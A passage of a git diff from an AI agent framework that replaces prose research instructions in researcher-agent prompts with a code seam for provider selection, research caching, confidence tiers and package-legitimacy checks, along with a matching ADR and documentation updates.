Verify ALL configuration scopes (global, project, local, workspace) - -### Deprecated Features -**Trap:** Finding old documentation and concluding feature doesn't exist -**Prevention:** Check current official docs, review changelog, verify version numbers and dates - -### Negative Claims Without Evidence -**Trap:** Making definitive "X is not possible" statements without official verification -**Prevention:** For any negative claim — is it verified by official docs? Have you checked recent updates? Are you confusing "didn't find it" with "doesn't exist"? - -### Single Source Reliance -**Trap:** Relying on a single source for critical claims -**Prevention:** Require multiple sources: official docs (primary), release notes (currency), additional source (verification) - -## Pre-Submission Checklist - -- [ ] All domains investigated (stack, patterns, pitfalls) -- [ ] Negative claims verified with official docs -- [ ] Multiple sources cross-referenced for critical claims -- [ ] URLs provided for authoritative sources -- [ ] Publication dates checked (prefer recent/current) -- [ ] Confidence levels assigned honestly -- [ ] "What might I have missed?" review completed - [ ] **If rename/refactor phase:** Runtime State Inventory completed — all 5 categories answered explicitly (not left blank) - [ ] Security domain included (or `security_enforcement: false` confirmed) - [ ] ASVS categories verified against phase tech stack @@ -269,30 +194,30 @@ Priority: Context7 > Exa (verified) > Firecrawl (official docs) > Official GitHu Every phase that installs external packages **must** run the following verification before emitting the `## Package Legitimacy Audit` section in RESEARCH.md. -### Step 1 — Install slopcheck (best-effort) +### Step 1 — Run legitimacy check via seam ```bash -pip install slopcheck --break-system-packages 2>/dev/null || pip install slopcheck 2>/dev/null || true +gsd-tools query package-legitimacy check --ecosystem ... ``` -### Step 2 — Run legitimacy check +Returns a JSON array of per-package verdicts: -```bash -if command -v slopcheck &>/dev/null; then - slopcheck install ... --json -else - echo "slopcheck not available — marking all packages [ASSUMED]" -fi +```json +[ + { "name": "pkg1", "verdict": "OK", "signals": { ... }, "reasons": [] }, + { "name": "pkg2", "verdict": "SUS", "signals": { ... }, "reasons": ["low downloads"] }, + { "name": "pkg3", "verdict": "SLOP", "signals": { ... }, "reasons": ["not found on registry"] } +] ``` -**Interpreting results:** -- `[SLOP]` — hallucinated or dangerously new package. **Remove entirely** from all RESEARCH.md recommendations. List in audit table under `Disposition: REMOVED`. -- `[SUS]` — suspicious (new, low-downloads, or no source repo). **Keep** but tag inline: `` `pkg-name` [WARNING: slopcheck flagged as suspicious — verify before using.] `` -- `[OK]` — clean. Proceed normally. +**Interpreting verdicts:** +- `SLOP` — hallucinated or dangerously new package. **Remove entirely** from all RESEARCH.md recommendations. List in audit table under `Disposition: REMOVED`. +- `SUS` — suspicious (new, low-downloads, or no source repo). **Keep** but tag inline: `` `pkg-name` [WARNING: flagged as suspicious — verify before using.] `` The planner must add a `checkpoint:human-verify` task before installing this package. +- `OK` — clean. Proceed normally. -**Graceful degradation:** If slopcheck cannot be installed or cannot run, mark **every** recommended package `[ASSUMED]` (not `[VERIFIED]`). The planner will gate each one behind a `checkpoint:human-verify` task before install. This is strictly safer than the current baseline — never a hard failure. +Packages discovered via WebSearch or training data and not yet verified must be tagged `[ASSUMED]` regardless of registry existence (a slopsquatted package also passes registry lookup). -### Step 3 — Ecosystem-specific registry verification +### Step 2 — Ecosystem-specific registry verification Run the appropriate command for the phase's primary language: @@ -310,14 +235,14 @@ cargo search Cross-ecosystem confusion (a Python package name that exists on npm but not PyPI) is a documented hallucination vector (~9% rate). Always verify on the correct ecosystem registry. -### Step 4 — Check for suspicious postinstall scripts (Node.js phases) +### Step 3 — Check for suspicious postinstall scripts (Node.js phases) ```bash npm view scripts.postinstall 2>/dev/null ``` A `postinstall` script that references network calls or filesystem paths outside the project -directory is a high-risk signal. Flag such packages `[SUS]` even if slopcheck rates them `[OK]`. +directory is a high-risk signal. Flag such packages `[SUS]` even if the seam rates them `[OK]`. @@ -380,16 +305,16 @@ Document the verified version and publish date. Training data versions may be mo > **Required** whenever this phase installs external packages. Run the Package Legitimacy Gate protocol before completing this section. -| Package | Registry | Age | Downloads | Source Repo | slopcheck | Disposition | -|---------|----------|-----|-----------|-------------|-----------|-------------| +| Package | Registry | Age | Downloads | Source Repo | Verdict | Disposition | +|---------|----------|-----|-----------|-------------|---------|-------------| | [name] | npm/PyPI/crates | [e.g., 8 yrs] | [e.g., 50M/wk] | [github.com/org/repo or "none"] | [OK] | Approved | | [name] | npm | [e.g., 3 days] | [e.g., 0] | none | [SLOP] | REMOVED | | [name] | npm | [e.g., 2 mo] | [e.g., 800/wk] | [github.com/…] | [SUS] | Flagged — planner must add checkpoint | -**Packages removed due to slopcheck [SLOP] verdict:** [list, or "none"] +**Packages removed due to [SLOP] verdict:** [list, or "none"] **Packages flagged as suspicious [SUS]:** [list — planner inserts checkpoint:human-verify before each install] -*If slopcheck was unavailable at research time, all packages above are tagged `[ASSUMED]` and the planner must gate each install behind a `checkpoint:human-verify` task.* +*Packages discovered via WebSearch or training data that have not been verified against an authoritative source are tagged `[ASSUMED]` and the planner must gate each install behind a `checkpoint:human-verify` task.* ## Architecture Patterns @@ -778,7 +703,7 @@ docker info 2>/dev/null | head -3 ## Step 3: Execute Research Protocol -For each domain: Context7 first → Official docs → WebSearch → Cross-verify. Document findings with confidence levels as you go. +For each domain, use the `` seam (Steps A–D): build questions JSON, call `gsd-tools query research-plan`, run the indicated provider per item, then cache each digest. Document findings with confidence levels as you go (use `gsd-tools query classify-confidence --provider ` to obtain the tier). ## Step 4: Validation Architecture Research (if nyquist_validation enabled) @@ -925,7 +850,7 @@ Research is complete when: - [ ] Common pitfalls catalogued - [ ] Environment availability audited (or skipped with reason) - [ ] Code examples provided -- [ ] Source hierarchy followed (Context7 → Official → WebSearch) +- [ ] Source hierarchy followed (research-plan seam determines provider order; classify-confidence seam determines tiers) - [ ] All findings have confidence levels - [ ] RESEARCH.md created in correct format - [ ] RESEARCH.md committed to git diff --git a/agents/gsd-project-researcher.md b/agents/gsd-project-researcher.md index 75135ff99..2c79ece7a 100644 --- a/agents/gsd-project-researcher.md +++ b/agents/gsd-project-researcher.md @@ -1,7 +1,7 @@ --- name: gsd-project-researcher description: Researches domain ecosystem before roadmap creation. Produces files in .planning/research/ consumed during roadmap creation. Spawned by /gsd:new-project or /gsd:new-milestone orchestrators. -tools: Read, Write, Bash, Grep, Glob, WebSearch, WebFetch, mcp__context7__*, mcp__firecrawl__*, mcp__exa__* +tools: Read, Write, Bash, Grep, Glob, WebSearch, WebFetch, mcp__context7__*, mcp__firecrawl__*, mcp__exa__*, mcp__tavily__*, mcp__ref__*, mcp__jina__* color: cyan # hooks: # PostToolUse: @@ -33,53 +33,11 @@ Your files feed the roadmap: -When you need library or framework documentation, check in this order: - -1. If Context7 MCP tools (`mcp__context7__*`) are available in your environment, use them: - - Resolve library ID: `mcp__context7__resolve-library-id` with `libraryName` - - Fetch docs: `mcp__context7__get-library-docs` with `context7CompatibleLibraryId` and `topic` - -2. If Context7 MCP is not available (upstream bug anthropics/claude-code#13898 strips MCP - tools from agents with a `tools:` frontmatter restriction), use the CLI fallback via Bash: - - Step 1 — Resolve library ID: - ```bash - npx --yes ctx7@latest library "" - ``` - Step 2 — Fetch documentation: - ```bash - npx --yes ctx7@latest docs "" - ``` - -Do not skip documentation lookups because MCP tools are unavailable — the CLI fallback -works via Bash and produces equivalent output. +@~/.claude/gsd-core/references/research-documentation-lookup.md - -## Training Data = Hypothesis - -Claude's training is 6-18 months stale. Knowledge may be outdated, incomplete, or wrong. - -**Discipline:** -1. **Verify before asserting** — check Context7 or official docs before stating capabilities -2. **Prefer current sources** — Context7 and official docs trump training data -3. **Flag uncertainty** — LOW confidence when only training data supports a claim - -## Honest Reporting - -- "I couldn't find X" is valuable (investigate differently) -- "LOW confidence" is valuable (flags for validation) -- "Sources contradict" is valuable (surfaces ambiguity) -- Never pad findings, state unverified claims as fact, or hide uncertainty - -## Investigation, Not Confirmation - -**Bad research:** Start with hypothesis, find supporting evidence -**Good research:** Gather evidence, form conclusions from evidence - -Don't find articles supporting your initial guess — find what the ecosystem actually uses and let evidence drive recommendations. - +@~/.claude/gsd-core/references/research-philosophy.md @@ -94,132 +52,95 @@ Don't find articles supporting your initial guess — find what the ecosystem ac -## Tool Priority Order +## Research Plan via Code Seam -### 1. Context7 (highest priority) — Library Questions -Authoritative, current, version-aware documentation. +The agent decides **what** to research (the questions). The seam decides **which provider** to use and manages caching. -``` -1. mcp__context7__resolve-library-id with libraryName: "[library]" -2. mcp__context7__query-docs with libraryId: [resolved ID], query: "[question]" +### Step A — Build a research-plan input file + +Construct a JSON file at a temp path (e.g. `/tmp/research-plan-input.json`): + +```json +{ + "ecosystem": "", + "config": { "exa_search": true/false, "brave_search": true/false, "firecrawl": true/false, "tavily_search": true/false }, + "questions": [ + { "text": "How does X work?", "kind": "docs", "library": "x", "version": "1.2.3" }, + { "text": "Best practices for Y?", "kind": "web" } + ] +} ``` -Resolve first (don't guess IDs). Use specific queries. Trust over training data. +`config` comes from the init context (availability flags). `kind` is `"docs"` for library/API questions, `"web"` for ecosystem/community questions, `"scrape"` when you have a specific URL to extract. -### 2. Official Docs via WebFetch — Authoritative Sources -For libraries not in Context7, changelogs, release notes, official announcements. - -Use exact URLs (not search result pages). Check publication dates. Prefer /docs/ over marketing. - -### 3. WebSearch — Ecosystem Discovery -For finding what exists, community patterns, real-world usage. - -**Query templates:** -``` -Ecosystem: "[tech] best practices", "[tech] recommended libraries" -Patterns: "how to build [type] with [tech]", "[tech] architecture patterns" -Problems: "[tech] common mistakes", "[tech] gotchas" -``` - -Use multiple query variations. Mark WebSearch-only findings as LOW confidence. Do not inject a year into queries — it biases results toward stale dated content; check publication dates on the results you read instead. - -### Enhanced Web Search (Brave API) - -Check `brave_search` from orchestrator context. If `true`, use Brave Search for higher quality results: +### Step B — Obtain the fetch plan ```bash -gsd-tools query websearch "your query" --limit 10 +gsd-tools query research-plan --input /tmp/research-plan-input.json ``` -**Options:** -- `--limit N` — Number of results (default: 10) -- `--freshness day|week|month` — Restrict to recent content +Returns `{ "items": [ { "question": "...", "key": "", "cache": { "hit": true/false, "stale": false }, "fetch": { "provider": "context7", "query": "..." } } ] }`. -If `brave_search: false` (or not set), use built-in WebSearch tool instead. +- `cache.hit && !cache.stale` → reuse the cached digest; no fetch needed. +- `cache.hit && cache.stale` → fetch anyway to refresh; the old entry is returned as a fallback. +- no `cache` field → cache miss; must fetch. -Brave Search provides an independent index (not Google/Bing dependent) with less SEO spam and faster responses. +### Step C — Execute the indicated fetch -### Exa Semantic Search (MCP) +For each item where `fetch` is present, invoke the MCP tool matching `fetch.provider`: -Check `exa_search` from orchestrator context. If `true`, use Exa for research-heavy, semantic queries: +| provider id | MCP tool / built-in | +|-------------|---------------------| +| `context7` | `mcp__context7__resolve-library-id` then `mcp__context7__query-docs` | +| `ref` | `mcp__ref__*` (use the appropriate ref MCP tool for the query) | +| `jina` | `mcp__jina__*` (use the appropriate jina MCP tool for the query) | +| `exa` | `mcp__exa__web_search_exa` with `fetch.query` | +| `tavily` | `mcp__tavily__search` with `fetch.query` | +| `perplexity` | `mcp__perplexity__*` (use the appropriate perplexity MCP tool for the query) | +| `brave` | `gsd-tools query websearch ""` (Brave-backed) or built-in `WebSearch` | +| `firecrawl` | `mcp__firecrawl__scrape` with url (scrape kind) or `mcp__firecrawl__search` | +| `websearch` | built-in `WebSearch` tool | +| `webfetch` | built-in `WebFetch` tool | -``` -mcp__exa__web_search_exa with query: "your semantic query" +For any other provider id `X` not listed above: use `mcp__X__*` if available, else fall back to `WebSearch`. + +**WebSearch tip:** Do not inject a year into queries — it biases results toward stale dated content; check publication dates on the results you read instead. + +### Step D — Cache each digest + +After digesting a source, persist it so future runs can reuse it: + +```bash +gsd-tools query research-store put \ + --content "" \ + --source \ + --provider \ + --confidence \ + --kind ``` -**Best for:** Research questions where keyword search fails — "best approaches to X", finding technical/academic content, discovering niche libraries, ecosystem exploration. Returns semantically relevant results rather than keyword matches. - -If `exa_search: false` (or not set), fall back to WebSearch or Brave Search. - -### Firecrawl Deep Scraping (MCP) - -Check `firecrawl` from orchestrator context. If `true`, use Firecrawl to extract structured content from discovered URLs: - -``` -mcp__firecrawl__scrape with url: "https://docs.example.com/guide" -mcp__firecrawl__search with query: "your query" (web search + auto-scrape results) -``` - -**Best for:** Extracting full page content from documentation, blog posts, GitHub READMEs, comparison articles. Use after finding a relevant URL from Exa, WebSearch, or known docs. Returns clean markdown instead of raw HTML. - -If `firecrawl: false` (or not set), fall back to WebFetch. - -## Verification Protocol - -**WebSearch findings must be verified:** - -``` -For each finding: -1. Verify with Context7? YES → HIGH confidence -2. Verify with official docs? YES → MEDIUM confidence -3. Multiple sources agree? YES → Increase one level - Otherwise → LOW confidence, flag for validation -``` - -Never present LOW confidence findings as authoritative. - -## Confidence Levels - -| Level | Sources | Use | -|-------|---------|-----| -| HIGH | Context7, official documentation, official releases | State as fact | -| MEDIUM | WebSearch verified with official source, multiple credible sources agree | State with attribution | -| LOW | WebSearch only, single source, unverified | Flag as needing validation | - -**Source priority:** Context7 → Exa (verified) → Firecrawl (official docs) → Official GitHub → Brave/WebSearch (verified) → WebSearch (unverified) +`key` comes from the `research-plan` item. `confidence` comes from the classify-confidence seam (see ``). + + +Obtain the confidence tier from code — do not hard-code tiers in your reasoning: + +```bash +gsd-tools query classify-confidence --provider +# for cross-checked findings, add --verified: +gsd-tools query classify-confidence --provider --verified +``` + +Returns `HIGH`, `MEDIUM`, or `LOW`. Use that value when tagging claims and when calling `research-store put --confidence `. + +**Never present LOW confidence findings as authoritative.** + + + - -## Research Pitfalls - -### Configuration Scope Blindness -**Trap:** Assuming global config means no project-scoping exists -**Prevention:** Verify ALL scopes (global, project, local, workspace) - -### Deprecated Features -**Trap:** Old docs → concluding feature doesn't exist -**Prevention:** Check current docs, changelog, version numbers - -### Negative Claims Without Evidence -**Trap:** Definitive "X is not possible" without official verification -**Prevention:** Is this in official docs? Checked recent updates? "Didn't find" ≠ "doesn't exist" - -### Single Source Reliance -**Trap:** One source for critical claims -**Prevention:** Require official docs + release notes + additional source - -## Pre-Submission Checklist - -- [ ] All domains investigated (stack, features, architecture, pitfalls) -- [ ] Negative claims verified with official docs -- [ ] Multiple sources for critical claims -- [ ] URLs provided for authoritative sources -- [ ] Publication dates checked (prefer recent/current) -- [ ] Confidence levels assigned honestly -- [ ] "What might I have missed?" review completed - +@~/.claude/gsd-core/references/research-verification-protocol.md @@ -564,7 +485,7 @@ Orchestrator provides: project name/description, research mode, project context, ## Step 3: Execute Research -For each domain: Context7 → Official Docs → WebSearch → Verify. Document with confidence levels. +For each domain, use the `` seam (Steps A–D): build questions JSON, call `gsd-tools query research-plan`, run the indicated provider per item, then cache each digest. Document findings with confidence levels as you go (use `gsd-tools query classify-confidence --provider ` to obtain the tier). ## Step 4: Quality Check @@ -678,7 +599,7 @@ Research is complete when: - [ ] Feature landscape mapped (table stakes, differentiators, anti-features) - [ ] Architecture patterns documented - [ ] Domain pitfalls catalogued -- [ ] Source hierarchy followed (Context7 → Official → WebSearch) +- [ ] Source hierarchy followed (research-plan seam determines provider order; classify-confidence seam determines tiers) - [ ] All findings have confidence levels - [ ] Output files created in `.planning/research/` - [ ] SUMMARY.md includes roadmap implications diff --git a/agents/gsd-ui-researcher.md b/agents/gsd-ui-researcher.md index d168fdebb..3d6ae384d 100644 --- a/agents/gsd-ui-researcher.md +++ b/agents/gsd-ui-researcher.md @@ -1,7 +1,7 @@ --- name: gsd-ui-researcher description: Produces UI-SPEC.md design contract for frontend phases. Reads upstream artifacts, detects design system state, asks only unanswered questions. Spawned by /gsd:ui-phase orchestrator. -tools: Read, Write, Edit, Bash, Grep, Glob, WebSearch, WebFetch, mcp__context7__*, mcp__firecrawl__*, mcp__exa__* +tools: Read, Write, Edit, Bash, Grep, Glob, WebSearch, WebFetch, mcp__context7__*, mcp__firecrawl__*, mcp__exa__*, mcp__tavily__*, mcp__ref__*, mcp__jina__* color: "#E879F9" # hooks: # PostToolUse: @@ -28,26 +28,7 @@ If the prompt contains a `` block, you MUST use the `Read` too -When you need library or framework documentation, check in this order: - -1. If Context7 MCP tools (`mcp__context7__*`) are available in your environment, use them: - - Resolve library ID: `mcp__context7__resolve-library-id` with `libraryName` - - Fetch docs: `mcp__context7__get-library-docs` with `context7CompatibleLibraryId` and `topic` - -2. If Context7 MCP is not available (upstream bug anthropics/claude-code#13898 strips MCP - tools from agents with a `tools:` frontmatter restriction), use the CLI fallback via Bash: - - Step 1 — Resolve library ID: - ```bash - npx --yes ctx7@latest library "" - ``` - Step 2 — Fetch documentation: - ```bash - npx --yes ctx7@latest docs "" - ``` - -Do not skip documentation lookups because MCP tools are unavailable — the CLI fallback -works via Bash and produces equivalent output. +@~/.claude/gsd-core/references/research-documentation-lookup.md diff --git a/bin/install.js b/bin/install.js index abd7a1a35..4dd21d3ae 100755 --- a/bin/install.js +++ b/bin/install.js @@ -1997,6 +1997,8 @@ function convertCopilotToolName(claudeTool) { if (claudeToCopilotTools[claudeTool]) { return claudeToCopilotTools[claudeTool]; } + // mcp__{tavily,ref,jina,exa,firecrawl}__* use the generic MCP passthrough like exa/firecrawl; + // add explicit Copilot registry mappings when the io.github ids are confirmed (#657 follow-up) // Default: lowercase return claudeTool.toLowerCase(); } diff --git a/docs/ARCHITECTURE.md b/docs/ARCHITECTURE.md index ec5226e00..6b31ecc24 100644 --- a/docs/ARCHITECTURE.md +++ b/docs/ARCHITECTURE.md @@ -270,6 +270,37 @@ See [`docs/INVENTORY.md`](INVENTORY.md#hooks-11-shipped) for the authoritative 1 CJS command family routers dispatch through `CommandRoutingHub`. The hub owns the no-throw pure-result contract (`hub.dispatch()` catches internal exceptions and returns `{ ok: false, kind, ...typedPayload }`) and the closed runtime error taxonomy (`UnknownCommand`, `InvalidArgs`, `HandlerRefusal`, `HandlerFailure`). Router adapters remain thin CLI translators — they build the hub, call `dispatch`, then map the Result to `output()`/`error()` calls. The runtime is single-path (no dual-runtime mode selection). See `docs/adr/0174-retire-gsd-sdk-package-boundary.md`. +### Research Module (`src/research-{store,provider}.cts`, `src/package-legitimacy.cts`) + +The Research Module implements an **L2-hybrid seam**: code owns the cache, provider policy, and package legitimacy verdicts; MCP owns the actual network fetch. + +Three compiled modules (generated to `gsd-core/bin/lib/*.cjs` per ADR-457) are reachable via `gsd-tools query research-plan | research-store | package-legitimacy`: + +- **Research Store** — content-addressed cache (`sha256(ecosystem+library+version+query+kind)`) with per-source TTL (curated-doc: 30 d, medium: 7 d, web/synthesis: 1 d) and two storage tiers: `~/.gsd/research-cache` for cross-project curated-doc hits, `.planning/research/.cache` for project-local web/synthesis results. +- **Research Provider** — single `PROVIDER_WATERFALL` (`Context7→Ref→Jina→websearch` for docs; `Exa→Tavily→Perplexity→Brave→websearch` for web; `Firecrawl→Jina` for scrape-only). `planResearch()` returns cache hits plus a fetch plan; `classifyConfidence()` stamps `HIGH|MEDIUM|LOW` by provider tier. +- **Package Legitimacy** — registry-API verdicts (npm/PyPI/crates.io injectable adapters) producing `OK|SUS|SLOP` per package. `slopcheck` is an optional escalate-only adapter; absence leaves registry verdicts intact rather than downgrading everything to `[ASSUMED]`. + +**Data flow:** + +``` +agent + │ + ▼ +gsd-tools query research-plan ← Research Provider: check cache, build fetch plan + │ + ├── [cache hits] ──────────────────► RESEARCH.md (digest only, no raw content) + │ + └── [fetch plan] ──────────────────► MCP fetch (agent calls MCP tools with the plan) + │ + ▼ + gsd-tools query research-store (put) + │ + ▼ + RESEARCH.md path returned to orchestrator +``` + +Agents always return a `RESEARCH.md` path, never raw fetched content. Context discipline is enforced through subagent isolation, compact provider output, and fetch-to-disk. See [ADR-0656](adr/0656-research-module-seam.md). + ### CLI Tools (`gsd-core/bin/`) Node.js CLI utility (`gsd-tools.cjs`) with domain modules split across `gsd-core/bin/lib/` (see [`docs/INVENTORY.md`](INVENTORY.md#cli-modules-33-shipped) for the authoritative roster): diff --git a/docs/INVENTORY-MANIFEST.json b/docs/INVENTORY-MANIFEST.json index 5953c397f..ba8f4efdb 100644 --- a/docs/INVENTORY-MANIFEST.json +++ b/docs/INVENTORY-MANIFEST.json @@ -235,6 +235,9 @@ "planning-config.md", "project-skills-discovery.md", "questioning.md", + "research-documentation-lookup.md", + "research-philosophy.md", + "research-verification-protocol.md", "revision-loop.md", "scout-codebase.md", "skeleton-template.md", @@ -303,6 +306,7 @@ "model-catalog.cjs", "model-profiles.cjs", "package-identity.cjs", + "package-legitimacy.cjs", "phase-command-router.cjs", "phase-lifecycle.cjs", "phase.cjs", @@ -313,6 +317,8 @@ "profile-pipeline.cjs", "project-root.cjs", "prompt-budget.cjs", + "research-provider.cjs", + "research-store.cjs", "review-reviewer-selection.cjs", "roadmap-command-router.cjs", "roadmap-upgrade.cjs", diff --git a/docs/INVENTORY.md b/docs/INVENTORY.md index 122e143ba..78e5dca6c 100644 --- a/docs/INVENTORY.md +++ b/docs/INVENTORY.md @@ -264,7 +264,7 @@ Full roster at `gsd-core/workflows/*.md`. Workflows are thin orchestrators that --- -## References (64 shipped) +## References (67 shipped) Full roster at `gsd-core/references/*.md`. References are shared knowledge documents that workflows and agents `@-reference`. The groupings below match [`docs/ARCHITECTURE.md`](ARCHITECTURE.md#references-gsd-corereferencesmd) — core, workflow, thinking-model clusters, and the modular planner decomposition. @@ -288,6 +288,9 @@ Full roster at `gsd-core/references/*.md`. References are shared knowledge docum | `debugger-philosophy.md` | Evergreen debugging disciplines loaded by `gsd-debugger`. | | `mandatory-initial-read.md` | Shared required-reading boilerplate injected into agent prompts. | | `project-skills-discovery.md` | Shared project-skills-discovery boilerplate injected into agent prompts. | +| `research-documentation-lookup.md` | Shared documentation-lookup protocol (Context7 MCP + guarded CLI fallback) injected into all researcher agents. | +| `research-philosophy.md` | Shared research philosophy (training-as-hypothesis, honest reporting, investigation-not-confirmation) injected into researcher agents. | +| `research-verification-protocol.md` | Shared research verification protocol (4 pitfalls + pre-submission checklist) injected into researcher agents. | ### Workflow References @@ -363,11 +366,11 @@ The `gsd-planner` agent is decomposed into a core agent plus reference modules t | `user-story-template.md` | User story format for MVP planning — "As a / I want to / So that" structured fields. | | `spidr-splitting.md` | SPIDR splitting decomposition rules for handling large user stories in MVP mode. | -> **Subdirectory:** `gsd-core/references/few-shot-examples/` contains additional few-shot examples (`plan-checker.md`, `verifier.md`) that are referenced from specific agents. These are not counted in the 63 top-level references. +> **Subdirectory:** `gsd-core/references/few-shot-examples/` contains additional few-shot examples (`plan-checker.md`, `verifier.md`) that are referenced from specific agents. These are not counted in the 64 top-level references. --- -## CLI Modules (82 shipped) +## CLI Modules (85 shipped) Full listing: `gsd-core/bin/lib/*.cjs`. @@ -414,6 +417,7 @@ Full listing: `gsd-core/bin/lib/*.cjs`. | `model-catalog.cjs` | CJS adapter over the shared model catalog JSON; exports canonical runtime tier defaults, agent profile maps, alias maps, and routing metadata for all CLI consumers | | `model-profiles.cjs` | Backward-compatible profile helpers derived from `model-catalog.cjs`; no longer owns its own model table | | `package-identity.cjs` | Generated single source for GSD's published-package coordinates (npm name, bin name, repo slug, changelog URL, manual-install command), derived from package.json; read by the update worker, `check-latest-version`, and installer (#498) | +| `package-legitimacy.cjs` | Registry-API package legitimacy verdicts (OK/SUS/SLOP) from npm/PyPI/crates, slopcheck optional | | `phase-command-router.cjs` | Thin CJS subcommand router adapter for `gsd-tools phase` | | `phase-lifecycle.cjs` | Pure-computation phase lifecycle helpers extracted from the phase-lifecycle SDK handler | | `phase.cjs` | Phase directory operations, decimal numbering, plan indexing | @@ -424,6 +428,8 @@ Full listing: `gsd-core/bin/lib/*.cjs`. | `profile-output.cjs` | Profile rendering, USER-PROFILE.md and dev-preferences.md generation | | `profile-pipeline.cjs` | User behavioral profiling data pipeline, session file scanning | | `prompt-budget.cjs` | Pure token-budget accounting for review prompts — estimates tokens, applies deterministic trim priority (head-shrink PROJECT.md, proportional plan truncation, drop context/research/requirements, hard-fail guard), returns structured metadata for `review.max_prompt_tokens` (#3081) | +| `research-provider.cjs` | Research provider waterfall, confidence tiers, and planResearch (cache-hits + fetch plan) | +| `research-store.cjs` | Content-addressed research cache: sha256 keys, per-source TTL staleness, two-tier (user ~/.gsd / project .planning) store | | `review-reviewer-selection.cjs` | Reviewer selection/normalization helpers for `/gsd-review` default reviewer policy and precedence | | `roadmap-command-router.cjs` | Thin CJS subcommand router adapter for `gsd-tools roadmap` | | `roadmap-upgrade.cjs` | Migration tool for converting legacy `Phase N` entries to milestone-prefixed `Phase M-NN` convention; `computeMigrationPlan` + `applyMigration` with dry-run default and atomic rollback | diff --git a/docs/adr/0656-research-module-seam.md b/docs/adr/0656-research-module-seam.md new file mode 100644 index 000000000..096930c6b --- /dev/null +++ b/docs/adr/0656-research-module-seam.md @@ -0,0 +1,45 @@ +# ADR-0656: Research Module — L2-hybrid seam for cached, curated-first research + +- **Status:** Accepted +- **Date:** 2026-06-03 + +## Context + +Research in GSD was entirely prose-duplicated. Seven researcher agents each carried their own copy of the provider waterfall (Context7, Ref, Jina, Exa, Tavily, Perplexity, Brave, Firecrawl, websearch), their own confidence-tier definitions, and their own fallback policy. Every time a new provider was added or the ordering changed, all seven files drifted independently — the exact failure mode `META.RULE.brief-no-paraphrase` exists to prevent. + +There was no research cache. Agents checked for an existing `RESEARCH.md` file but had no TTL, no content-addressing, and no notion of staleness. Identical queries re-fetched from live providers across phases and projects. + +Package legitimacy was a pip-install `slopcheck` bolt-on. When the `slopcheck` binary was absent or crashed, every package was silently downgraded to `[ASSUMED]`, removing the legitimacy gate entirely rather than degrading gracefully. + +Context7 was prompt-only: agents mentioned it in prose but there was no code-level integration, no cache, and no structured verdict returned to the orchestrator. + +## Decision + +Introduce an **L2-hybrid seam**: code owns cache, provider policy, legitimacy verdicts, and confidence classification; MCP owns the actual network fetch (a `.cjs` module cannot call MCP tools directly). + +Three modules are introduced under `src/` compiled to `gsd-core/bin/lib/*.cjs` per ADR-457 (generated-single-source): + +**Research Store** (`src/research-store.cts`): content-addressed cache keyed by `sha256(ecosystem + library + version + query + kind)`. `getResearch()` never throws — it returns `{ hit, stale }` mirroring the graphify staleness tri-state pattern. TTL is per-source: curated-doc providers get 30 days (HIGH), medium-quality sources get 7 days (MED), web/synthesis gets 1 day (LOW). Two storage tiers: curated-doc kinds write to `~/.gsd/research-cache` (cross-project reuse); web and synthesis results write to `.planning/research/.cache` (project-local, gitignored). + +**Research Provider** (`src/research-provider.cts`): single source of truth for `PROVIDER_WATERFALL`. Docs waterfall: Context7 → Ref → Jina → websearch. Web waterfall: Exa → Tavily → Perplexity → Brave → websearch. Scrape: Firecrawl → Jina (Firecrawl is scrape-only, not in docs/web discovery). `planResearch()` returns cache hits plus a fetch plan for misses. `classifyConfidence()` stamps `HIGH | MEDIUM | LOW` by provider authority + verification evidence — the tier set is unchanged (ADR-consistent), but HIGH now requires code-computed ground-truth corroboration (e.g. `legitimacyVerdict: 'OK'`); provider authority alone caps at MEDIUM; `SLOP` caps at LOW. Provider availability is driven by config flags and `_API_KEY` env vars; `context7`, `jina`, and `websearch` are always available as the terminal fallback. + +**Package Legitimacy** (`src/package-legitimacy.cts`): registry-API verdicts via injectable adapters for npm, PyPI, and crates.io. Thresholds: `{ minAgeDays: 30, minWeeklyDownloads: 1000, requireRepo: true }`. Verdict per package: `OK | SUS | SLOP`. `slopcheck` is an optional escalate-only adapter — it can only raise a verdict, never lower it — and is not the install-or-degrade gate. Absence of `slopcheck` leaves registry-API verdicts intact rather than downgrading everything to `[ASSUMED]`. + +All three modules are reachable via `gsd-tools query research-plan | research-store | package-legitimacy`. + +Agents return a `RESEARCH.md` path; they never return raw fetched content. This enforces context discipline: subagent isolation, compact provider output, fetches-to-disk, cache-returns-digest. + +## Consequences + +**Positive:** +- Provider policy lives in one tested module. Adding or reordering a provider is a one-line change that propagates to all researcher agents. +- Content-addressed cache eliminates redundant fetches across phases and projects. +- Package legitimacy is registry-API-first and degrades gracefully; `slopcheck` enriches without gating. +- The `gsd-tools query` interface is the test surface — behavioral tests can assert typed JSON output without source-grep. + +**Deferred to #657:** +- Collapsing the seven researcher agent `.md` files into generated-from-profiles agents (the prose waterfall duplication in those files is the primary `DEFECT.RESEARCH-PROVIDER-PROSE-DRIFT` site). +- The `install.js` MCP tool-mapping for tavily, ref, and jina (those land where the agents declare the tools they need). + +**Known constraint:** +API context-editing primitives (`clear_tool_uses`, memory tool) are the conceptual model for context discipline, but they are not configurable through the Claude Code harness today. The current implementation achieves context discipline through subagent isolation and fetch-to-disk patterns. diff --git a/eslint.config.mjs b/eslint.config.mjs index 05fbb2ab7..f7891018f 100644 --- a/eslint.config.mjs +++ b/eslint.config.mjs @@ -121,6 +121,9 @@ export default tseslint.config( 'gsd-core/bin/lib/workstream.cjs', 'gsd-core/bin/lib/roadmap.cjs', 'gsd-core/bin/lib/audit.cjs', + 'gsd-core/bin/lib/research-store.cjs', + 'gsd-core/bin/lib/research-provider.cjs', + 'gsd-core/bin/lib/package-legitimacy.cjs', ], }, diff --git a/gsd-core/bin/gsd-tools.cjs b/gsd-core/bin/gsd-tools.cjs index 2c592204e..8b0421da8 100755 --- a/gsd-core/bin/gsd-tools.cjs +++ b/gsd-core/bin/gsd-tools.cjs @@ -378,8 +378,8 @@ async function main() { 'current-timestamp, detect-custom-files, docs-init, effort, extract-messages, find-phase, ' + 'from-gsd2, frontmatter, gap-analysis, generate-claude-md, generate-claude-profile, ' + 'generate-dev-preferences, generate-slug, graphify, history-digest, init, intel, ' + - 'learnings, list-todos, milestone, phase, phase-plan-index, phases, profile-questionnaire, ' + - 'profile-sample, progress, prompt-budget, requirements, resolve-granularity, resolve-model, roadmap, scaffold, state, ' + + 'classify-confidence, learnings, list-todos, milestone, package-legitimacy, phase, phase-plan-index, phases, profile-questionnaire, ' + + 'profile-sample, progress, prompt-budget, requirements, research-plan, research-store, resolve-granularity, resolve-model, roadmap, scaffold, state, ' + 'task, template, 